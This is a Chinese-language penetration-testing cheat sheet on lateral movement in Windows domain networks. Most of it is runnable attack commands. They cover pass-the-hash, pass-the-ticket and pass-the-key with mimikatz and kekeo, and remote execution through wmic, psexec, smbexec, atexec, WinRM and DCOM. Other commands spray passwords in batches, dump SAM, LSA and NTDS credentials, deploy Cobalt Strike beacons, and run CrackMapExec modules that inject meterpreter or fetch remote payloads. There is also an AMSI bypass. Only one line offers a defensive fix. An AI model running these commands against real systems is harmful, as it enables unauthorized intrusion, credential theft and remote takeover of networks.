內網#
內網指的是內部局域網,常說的 LAN(local area network)。常見家庭 wifi 網絡和小型的企業網絡,通常內部計算機直接訪問路由器設備,路由器設備接入移動電信的光纖實現上網。
內部局域網可以通過交換機 / 防火牆組成多個網絡(局域),多個局域之間進行訪問控制。新概念(安全域)。
如專門存放伺服器的統稱為 DMZ(非軍事化區域),運維區,內網辦公區等,常說的內網滲透就是在局域網內部滲透,內網滲透比較有難度的是域滲透。
KB2871997&KB2928120#
微軟在 2014 年發布了KB2871997
和KB2928120
兩個補丁,用來阻止域內主機本地用戶的網絡登錄,這樣就無法以本地管理員的權限執行wmi、psexec、schtasks、at和文件訪問共享
,本地用戶的 PTH 方式已經死掉,然而默認的 Administrator(SID 500)這個賬戶仍可以進行 PTH,並且在禁用 NTLM 的情況下,psexec 無法進行遠程連接,但是使用 mimikatz 可以攻擊成功。
UNC 路徑#
UNC 路徑代表通用命名約定
路徑(Universal Naming Convention),它是一種網絡路徑格式,用於標識在網絡上共享的資源位置。UNC 路徑允許您在本地網絡中訪問遠程共享。
UNC 路徑由兩個反斜杠\
,後跟遠程計算機的名稱或 IP 地址、可選的共享名稱、可選的路徑和文件名組成。例如:
\\ComputerName\ShareName\Path\FileName
其中 ComputerName 是遠程計算機的名稱或 IP 地址,ShareName 是共享名稱,在訪問共享時需要使用該名稱,Path 是共享文件夾中的路徑,FileName 是所需文件的名稱。
WMI#
WMI(Windows management instrumentation)可以描述為管理 Windows 系統的方法和功能,我們可以把它當作 API 來與 Win 系統進行相互交流,WMI 在滲透測試中的價值在於它不需要下載和安裝,WMI 是 Windows 系統自帶功能。而且整個運行過程都在計算機內存中發生,不會留下任何痕跡。
135 端口#
RPC:遠程過程調用服務,WMIC(winsows management instrumentation)用到這個端口。
wmic 具體用法如下:
# 打開一個計算器
wmic /node:ip /user:用戶名 /password:密碼 PROCESS call create "calc.exe"
#無回顯
wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"
wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"
連接報錯如下信息:
ip 錯了報如下信息:
密碼填錯報如下信息:
用另一台計算機嘗試連接,正常訪問,命令執行成功,wmic 執行後無回顯,需寫入到文本文件中。
WMIEXEC#
獲取交互式 shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s
執行單條命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"
如上是提供了密碼,如無密碼,可以利用 wce 的 hash 注入,然後執行 wmiexec 就可以了。
wce –s 賬號:主機名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1
如果抓取的 LM hash 是 AAD3 開頭的,或者是 No Password 之類的,計用 32 個 0 代替 LM hash
wmiexec.exe#
wmiexec.exe ./administrator:[email protected] "whoami"
hash 傳遞
wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected] "ipconfig"
https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md
137,138,139 端口#
137、138 為 UDP 端口,主要用於內網傳輸文件,NetBios/SMB 服務的獲取主要是通過 139 端口。
445 端口#
共享文件夾、共享打印機
ipc$#
IPC$
是共享 “命名管道” 的資源,為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問,從 NT/2000 開始使用。
IPC$
在同一時間內,兩個 IP 之間只允許建立一個連接。
NT/2000 在提供了ipc$
功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享 (c$
,d$
,e$
……) 和系統目錄 winnt 或管理員目錄 (admin$
) 共享。
net use \\192.168.1.56\c$ "password" /user:"domain\username"
net use \\192.168.1.56\c$ "aab+1s" /user:administrator
另一台主機 net use 遠程連接
擴展語法#
net use \\192.168.1.56\c$
# 刪除ipc$連接
net use \\192.168.1.56\ipc$ /del
# 將目標磁碟映射到本地
net use z: \\192.168.1.56\c$
# 刪除映射
net use z: /del
# 關閉共享
net use ipc$ /del
橫向滲透 SMB(通過 445 端口)#
利用 SMB 服務,需要先建立 IPC,可以通過 hash 傳遞來遠程執行,默認回來 System 權限,需要目標防火牆開啟 445 並允許通過。
psexec#
net use \\192.168.1.56\c$ "aab+1s" /user:administrator
PsExec.exe \\192.168.1.56 whoami
.\PsExec.exe -u administrator -p 123456 \\dc01 cmd
# 交互式shell(相同憑證可直接登錄)
psexec -accepteula \\ip -s cmd.exe
執行原理
1. 通過ipc$
連接,釋放psexecsvc.exe
到目標
2. 通過服務管理SCManager
遠程創建psexecsvc
服務,並啟動服務。
3. 客戶端連接執行命令,服務端啟動相應的程序並執行回顯數據。
4. 運行完後刪除服務。這個在 windows 的日誌中有詳細的記錄,另外 psexec 在少數情況下會出現服務沒刪除成功的 bug,所以一般不推薦使用 psexec,推薦 wmiexec
C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe
cs - plugins#
選中需橫向的主機,jump-psexec64
選擇一個認證,listen 如果可出網,選擇 1,內網橫向則用 smb beacon2。
直接使用命令行。
jump [module] [target] [listener]
jump psexec64 192.168.10.173 local
通過 psexec 橫向到目標機器,憑證用的是已知憑證去碰撞
此時整體拓撲如下,是父子關係,這是因為用的是 http beacon 直接連接 teamserver,如果用 smb beacon 就是 link 關係。
換一下 smb beacon
主機 ip 後面帶有四個圓圈。
smb 的箭頭是黃色
https://www.cnblogs.com/sup3rman/p/12381874.html
SMBEXEC#
明文傳遞
smbexec.exe administrator:[email protected]
hash 傳遞
hash傳遞:
smbexec -hashes :$HASH$ [email protected]
smbeexec -hashes :$HASH$ domain/[email protected]
dump hash
atexec#
- 批量
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量檢測 IP 對應明文 連接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測 IP 對應明文 回顯版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量檢測明文對應 IP 回顯版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量檢測 HASH 對應 IP 回顯版
PTH#
域 / 工作組環境,內存中存在和當前機器相同的密碼,在身份驗證過程中,基本過程是從用戶那裡收集密碼,然後對其進行加密,然後將正確密碼的加密哈希用於將來的身份驗證。
初次認證後,Windows 將哈希值保存在內存中,這樣用戶就不必一次又一次地輸入密碼。
在憑證轉儲期間,我們看到我們已經提取了大量的哈希值。現在作為攻擊者,我們不知道密碼。因此,在身份驗證期間,我們提供哈希而不是密碼。
Windows 比較哈希值並熱烈歡迎攻擊者。簡而言之,這就是 Pass-the-Hash 攻擊。
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
mimikatz - PTH#
privilege::debug
sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a
彈出窗口後,連接共享端口,傳輸文件
# privilege::debug
# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a
拷貝文件
參考:
內網滲透 --Hash 傳遞攻擊
PTK#
需要存在補丁kb2871997
使用minikatz獲取aes256_hmac:
sekurlsa::ekeys
傳遞連接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT#
實現步驟:
1、生成票據 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”
2、導入票據 kerberos::ptt [[email protected]_krbtgt](mailto:[email protected]_krbtgt)[email protected]
3、查看憑證 klist
4、利用 net use 載入 dir \192.168.213.163\c$
smbclient#
認證登錄#
- 明文
smbclient -L //192.168.10.173 -U Administrator
- hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected]
空會話枚舉#
smbclient -N -U "" -L \\192.168.1.214
rpcclient#
# rpcclient -U "" -N 10.10.10.161
rpcclient $>enumdomusers
# rpcclient -U corp.pentest.lab/administrator 10.10.10.161
cme#
https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows
執行命令#
crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig
powershell
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
bypass ASMI
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' --amsi-bypass /path/payload
cme 網絡掃描#
crackmapexec smb 10.0.0.0/24
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares
枚舉空會話#
cme smb 10.10.10.161 -u '' -p ''
cme smb 10.10.10.161 --pass-pol
cme smb 10.10.10.161 --users
cme smb 10.10.10.161 --groups
cme smb 10.10.10.178 -u 'a' -p '' -shares
cme smb 10.10.10.178 -u -p -shares
# 以遞歸方式遍歷所有共享s
crackmapexec smb -u -p -M spider_plus
憑證獲取#
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss
msf 反彈 shell#
枚舉遠程目標上的活動會話#
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
密碼噴灑#
使用空格指定多個用戶名 / 密碼
#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18
#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3
通過文本指定字典
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18
#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
找到密碼後繼續爆破
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
# 一對一爆破
#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes
認證#
- 域
User/Hash
獲取憑證如下:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
- 本地認證
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth
爆破結果後如下:
SMB 192.168.1.101 445 HOSTNAME [+] HOSTNAME\Username:Password (Pwn3d!)
winRM#
#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip
# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80
at、schtasks、#
- at
windows 版本<2012
,高版本中使用 schtasks 命令
at [\computername] [[id] [/delete] | /delete [/yes]]
at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>
生成 smb beacon
上傳 smb beacon 文件
添加任務計劃
shell at \\192.168.10.173 10:51 c:\local-smb.exe
已運行,無法反彈,smb shell 的問題。
換成 web beacon,成功反彈。
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at
- schtasks
windows>=2012
schtasks create
創建任務對應執行文件
schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F
schtasks run
執行文件任務
schtasks /run /s 192.168.213.163 /tn adduser /i
schtasks delete
刪除執行文件任務
schtasks /delect /s 192.168.213.163 /tn adduser /f
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
sharpwmi#
.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami
cs 報錯
[-] Invoke_3 on EntryPoint failed.
nbtscan#
通過 IP 掃描網絡獲取 bios 名稱(計算機名)
bash$ sudo nbtscan -v -s : 192.168.1.0/24
- cs plugin
winRM#
WinRM(windows 遠程管理)是 WS 管理協議的 Microsoft 實現,一種基於標準的 SOAP 協議,允許來自不同供應商的硬件和操作系統相互操作,能夠對本地或遠程的伺服器進行管理,獲得一個類似 Telnet 的交互式命令行 shell,以便降低系統管理員複雜的操作。
端口:
HTTP(5985)
HTTPS SOAP(5986)
前提:憑證及權限
CS 中有 WinRM 模塊。
winrm:x86,通過 WinRM 來運行一個 PowerShell 腳本
winrm:x64,通過 WinRM 來運行一個 PowerShell 腳本
進入 winrm64 後,內容如下:
前提需要有認證,才可以橫向進入,此處的認證獲取可以通過內部撞庫、歷史 RDP 憑證等方式獲取,內部撞庫是拿已知的密碼去嘗試是否有復用密碼,歷史 RDP 憑證是如果管理員再內網通過 3389 登錄後且記錄了密碼,可以通過獲取歷史 RDP 登錄記錄獲取憑證。
如上圖所示,已經擁有 192.168.1.214 的密碼憑證,但不清楚 192.168.1.55 的憑證,此時可以嘗試使用 192.168.1.214 的憑證。
監聽器和會話按需選擇,會話是當前的 beacon。
嘗試運行,報錯了。
jump winrm64 192.168.1.55 test
查看伺服器端口情況,未開啟 5985 端口。
可通過 winrm 命令開啟 5985 端口,windows server 2008 默認 winrm 服務是啟動的,但端口未開放,需要通過winrm quickconfig -q
或者 winrm qc
開啟端口。
- 開啟 winRM 服務
重新查看端口開放情況,5985 端口已打開。
- 開啟防火牆或關閉防火牆命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 遠程管理" new enable=yes
- 使用 powershell 連接伺服器
需提前開啟信任主機
PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force
# 這個命令需要再客戶端執行,而不是再伺服器端執行
或者用下面的命令
winrm set winrm/config/client @{TrustedHosts="*"}
PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator
輸入憑證,連接成功。
或者
New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)
Enter-PSSession 1
通過 CS 操作
beacon> jump winrm64 192.168.1.55 test
成功返回 shell
修復建議:
禁用 WinRM
winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
- ⚠️ windows8、windows10、windows server 2012 及以上系統,WinRM 服務默認開啟。
evil-winrm#
GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting
WinRS#
WinRS (Windows Remote Shell) 是一種遠程管理工具,用於在 Windows 遠程伺服器上運行命令行命令。WinRS 使用 WinRM(Windows Remote Management)協議向遠程計算機發送命令行請求。
WinRS 在 Windows Server 2008 及更高版本的操作系統中預安裝,並且可以在 Windows 7 及更高版本的操作系統中啟用。要使用 WinRS,您必須在遠程伺服器上啟用 WinRM,並且在本地計算機上運行命令時必須使用管理員權限。
winrs -r:192.168.1.55 "cmd /c ipconfig"
# 端口復用下
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd
DCOM#
DCOM 代表分布式組件對象模型(Distributed Component Object Model),它是一種 Microsoft 的分布式系統服務。它允許計算機上的應用程序通過網絡連接和通信。DCOM 使開發人員能夠從遠程計算機上執行代碼,並使應用程序之間的通信更為容易和靈活。
PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))
PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt
WIN-BVVD8VFVMPR
SCShell#
No445#
GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port
參考#
https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116